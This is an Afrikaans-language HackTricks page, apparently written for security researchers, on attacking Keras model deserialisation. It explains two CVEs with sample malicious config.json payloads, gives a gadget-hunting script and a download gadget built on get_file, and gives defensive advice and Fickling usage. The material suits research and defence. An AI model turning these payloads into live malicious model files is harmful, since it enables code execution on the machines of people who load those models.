Keras Model Deserialisering RCE en Gadget Hunting
Reading time: 9 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Hierdie bladsy som praktiese exploiteringstegnieke teen die Keras model deserialisering-pipeline op, verduidelik die native .keras-formaat se interne struktuur en attack surface, en verskaf 'n navorsings-toolkit om Model File Vulnerabilities (MFVs) en post-fix gadgets te vind.
.keras model formaat interne struktuur
'n .keras-lĂȘer is 'n ZIP-argief wat minstens die volgende bevat:
- metadata.json â generiese inligting (bv., Keras-weergawe)
- config.json â model-argitektuur (primĂȘre attack surface)
- model.weights.h5 â gewigte in HDF5
Die config.json bestuur recursive deserialisering: Keras importeer modules, los klasse/funksies op en rekonstrueer lae/objekte vanaf attacker-controlled dictionaries.
Example snippet for a Dense layer object:
{
"module": "keras.layers",
"class_name": "Dense",
"config": {
"units": 64,
"activation": {
"module": "keras.activations",
"class_name": "relu"
},
"kernel_initializer": {
"module": "keras.initializers",
"class_name": "GlorotUniform"
}
}
}
Deserialization performs:
- Module-import en simboolresolusie van module/class_name-sleutels
- from_config(...) of constructor-aanroep met attacker-controlled kwargs
- Rekursie in geneste objekte (activations, initializers, constraints, etc.)
In die verlede het dit drie primitiewe aan 'n attacker wat config.json opstel, blootgestel:
- Beheer oor watter modules geĂŻmporteer word
- Beheer oor watter classes/funksies opgelos word
- Beheer van kwargs wat aan constructors/from_config deurgegee word
CVE-2024-3660 â Lambda-layer bytecode RCE
Wortelsaak:
- Lambda.from_config() het python_utils.func_load(...) gebruik wat base64-dekodeer en marshal.loads() op attacker-bytes aanroep; Python se unmarshalling kan kode uitvoer.
Exploit idea (simplified payload in config.json):
{
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "exploit_lambda",
"function": {
"function_type": "lambda",
"bytecode_b64": "<attacker_base64_marshal_payload>"
}
}
}
Mitigasie:
- Keras dwing safe_mode=True af as standaard. Geserialiseerde Python-funksies in Lambda word geblokkeer, tensy ân gebruiker uitdruklik uitskakel met safe_mode=False.
Aantekeninge:
- Legacy-formate (ouer HDF5-saves) of ouer codebases mag dalk nie moderne kontroles afdwing nie, dus kan âdowngradeâ-styl-aanvalle steeds van toepassing wees wanneer slagoffers ouer loaders gebruik.
CVE-2025-1550 â ArbitrĂȘre module-import in Keras †3.8
Worteloorsaak:
- _retrieve_class_or_fn het onbeperkte importlib.import_module() gebruik met deur-aanvaller-beheerde module-stringe uit config.json.
- Impak: ArbitrĂȘre import van enige geĂŻnstalleerde module (of deur-aanvaller-geplante module op sys.path). Kode wat tydens import loop word uitgevoer, daarna vind objekkonstruksie plaas met aanvaller-kwargs.
Eksploit-idee:
{
"module": "maliciouspkg",
"class_name": "Danger",
"config": {"arg": "val"}
}
Sekuriteitsverbeterings (Keras â„ 3.9):
- Module allowlist: invoere beperk tot amptelike ekosisteem-modules: keras, keras_hub, keras_cv, keras_nlp
- Standaard safe mode: safe_mode=True blokkeer die laai van onveilige geserialiseerde Lambda-funksies
- Basiese tipekontrole: gedeserialiseerde objekte moet by die verwagte tipes pas
Post-fix gadget-oppervlak binne allowlist
Selfs met allowlisting en safe mode bly daar 'n wye oppervlak oor tussen die toegelate Keras callables. Byvoorbeeld, keras.utils.get_file kan arbitrĂȘre URLs na gebruikers-gekose plekke aflaai.
Gadget via Lambda wat na 'n toegelate funksie verwys (nie geserialiseerde Python bytecode nie):
{
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "dl",
"function": {"module": "keras.utils", "class_name": "get_file"},
"arguments": {
"fname": "artifact.bin",
"origin": "https://example.com/artifact.bin",
"cache_dir": "/tmp/keras-cache"
}
}
}
Belangrike beperking:
- Lambda.call() voeg die invoer-tensor vooraan as die eerste posisionele argument wanneer die teiken callable aangeroep word. Geselekteerde gadgets moet 'n ekstra posisionele arg kan verdra (of *args/**kwargs aanvaar). Dit beperk watter funksies bruikbaar is.
Potensiële impakte van allowlisted gadgets:
- ArbitrĂȘre download/write (path planting, config poisoning)
- Netwerk callbacks/SSRF-agtige effekte afhangende van die omgewing
- Ketting na code execution indien geskryfde paaie later geĂŻmporteer/uitgevoer word of bygevoeg word tot PYTHONPATH, of as 'n skryfbare execution-on-write ligging bestaan
Researcher toolkit
- Sistematiese gadget-ontdekking in toegelate modules
Lys kandidaat-callables in keras, keras_nlp, keras_cv, keras_hub en prioritiseer diĂ© met lĂȘer/netwerk/proses/env newe-effekte.
import importlib, inspect, pkgutil
ALLOWLIST = ["keras", "keras_nlp", "keras_cv", "keras_hub"]
seen = set()
def iter_modules(mod):
if not hasattr(mod, "__path__"):
return
for m in pkgutil.walk_packages(mod.__path__, mod.__name__ + "."):
yield m.name
candidates = []
for root in ALLOWLIST:
try:
r = importlib.import_module(root)
except Exception:
continue
for name in iter_modules(r):
if name in seen:
continue
seen.add(name)
try:
m = importlib.import_module(name)
except Exception:
continue
for n, obj in inspect.getmembers(m):
if inspect.isfunction(obj) or inspect.isclass(obj):
sig = None
try:
sig = str(inspect.signature(obj))
except Exception:
pass
doc = (inspect.getdoc(obj) or "").lower()
text = f"{name}.{n} {sig} :: {doc}"
# Heuristics: look for I/O or network-ish hints
if any(x in doc for x in ["download", "file", "path", "open", "url", "http", "socket", "env", "process", "spawn", "exec"]):
candidates.append(text)
print("\n".join(sorted(candidates)[:200]))
- Direkte deserialiseringstoetsing (geen .keras-argief nodig nie)
Voer vervaardigde dicts direk in Keras deserializers in om aanvaarde params te leer en newe-effekte waar te neem.
from keras import layers
cfg = {
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "probe",
"function": {"module": "keras.utils", "class_name": "get_file"},
"arguments": {"fname": "x", "origin": "https://example.com/x"}
}
}
layer = layers.deserialize(cfg, safe_mode=True) # Observe behavior
- Kruisweergawe-toetsing en formate
Keras bestaan in meerdere codebases/eras met verskillende beskermingsmeganismes en formate:
- TensorFlow built-in Keras: tensorflow/python/keras (legacy, beplande verwydering)
- tf-keras: afsonderlik onderhou
- Multi-backend Keras 3 (official): het die inheemse .keras bekendgestel
Herhaal toetse oor codebases en formate (.keras vs legacy HDF5) om regressies of ontbrekende beskerming te ontdek.
Defensive recommendations
- Behandel modellĂȘers as onbetroubare invoer. Laai slegs modelle vanaf betroubare bronne.
- Hou Keras op datum; gebruik Keras â„ 3.9 om voordeel te trek uit allowlisting en tipekontroles.
- Stel nie safe_mode=False in wanneer modelle gelaai word tensy jy die lĂȘer ten volle vertrou nie.
- Oorweeg om deserialisasie in 'n sandboxed, minste-bevoegdheidsomgewing te laat loop sonder netwerk-uitgaande verkeer en met beperkte lĂȘerstelseltoegang.
- Handhaaf allowlists/signatures vir modelbronne en integriteitskontrole waar moontlik.
ML pickle import allowlisting for AI/ML models (Fickling)
Baie AI/ML-modelformate (PyTorch .pt/.pth/.ckpt, joblib/scikit-learn, ouer TensorFlow-artikels, ens.) sluit Python pickle-data in. Aanvallers misbruik gereeld pickle GLOBAL imports en objekkonstruktore om RCE of modelwissel tydens laai te bewerkstellig. Swartlys-gebaseerde skandeerders mis dikwels nuwe of nie-gelysde gevaarlike imports.
'n Praktiese fail-closed verdedigingsmetode is om Python se pickle-deserialiseerder te hook en slegs 'n hersiene stel onskadelike, ML-verwante imports tydens unpickling toe te laat. Trail of Bitsâ Fickling implementeer hierdie beleid en lewer 'n gekeurde ML-import allowlist gebou uit duisende publieke Hugging Face-pickles.
Sekuriteitsmodel vir âsafeâ imports (intuĂŻsies gedistilleer uit navorsing en praktyk): ingevoerde simbole wat deur 'n pickle gebruik word, moet terselfdertyd:
- Nie kode uitvoer of uitvoering veroorsaak nie (geen compiled/source code objects, shelling out, hooks, ens.)
- Nie arbitrĂȘre attribuut- of item kry/stel nie
- Nie ander Python-objekte vanaf die pickle VM invoer of verwysings daartoe bekom nie
- Geen sekondĂȘre deserialiseerders aktiveer nie (bv. marshal, nested pickle), selfs nie indirek nie
Skakel Fickling se beskerming so vroeg as moontlik in tydens proses-opstart in sodat enige pickle-laaie wat deur frameworks (torch.load, joblib.load, ens.) uitgevoer word, gekontroleer word:
import fickling
# Sets global hooks on the stdlib pickle module
fickling.hook.activate_safe_ml_environment()
Operasionele wenke:
- Jy kan die hooks tydelik deaktiveer/heraktiveer waar nodig:
fickling.hook.deactivate_safe_ml_environment()
# ... load fully trusted files only ...
fickling.hook.activate_safe_ml_environment()
- As 'n model wat as veilig bekend staan geblokkeer word, brei die allowlist vir jou omgewing uit nadat jy die simbole nagegaan het:
fickling.hook.activate_safe_ml_environment(also_allow=[
"package.subpackage.safe_symbol",
"another.safe.import",
])
-
Fickling ontbloot ook generiese runtime-beskermers as jy meer fyn beheer verkies:
-
fickling.always_check_safety() to enforce checks for all pickle.load()
-
with fickling.check_safety(): for scoped enforcement
-
fickling.load(path) / fickling.is_likely_safe(path) for one-off checks
-
Gee voorkeur aan nie-pickle model formate waar moontlik (bv., SafeTensors). As jy pickle moet aanvaar, laat loaders loop onder minste voorregte sonder netwerk-uitset en dwing die allowlist af.
Hierdie allowlist-eerstestrategie blokkeer aantoonbaar algemene ML pickle-uitbuitingpaaie terwyl dit hoĂ« versoenbaarheid behou. In ToBâs benchmark het Fickling 100% van sintetiese kwaadwillige lĂȘers gemerk en ~99% van skoon lĂȘers van top Hugging Face repos toegelaat.
References
- Hunting Vulnerabilities in Keras Model Deserialization (huntr blog)
- Keras PR #20751 â Added checks to serialization
- CVE-2024-3660 â Keras Lambda deserialization RCE
- CVE-2025-1550 â Keras arbitrary module import (†3.8)
- huntr report â arbitrary import #1
- huntr report â arbitrary import #2
- Trail of Bits blog â Ficklingâs new AI/ML pickle file scanner
- Fickling â Securing AI/ML environments (README)
- Fickling pickle scanning benchmark corpus
- Picklescan, ModelScan, model-unpickler
- Sleepy Pickle attacks background
- SafeTensors project
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.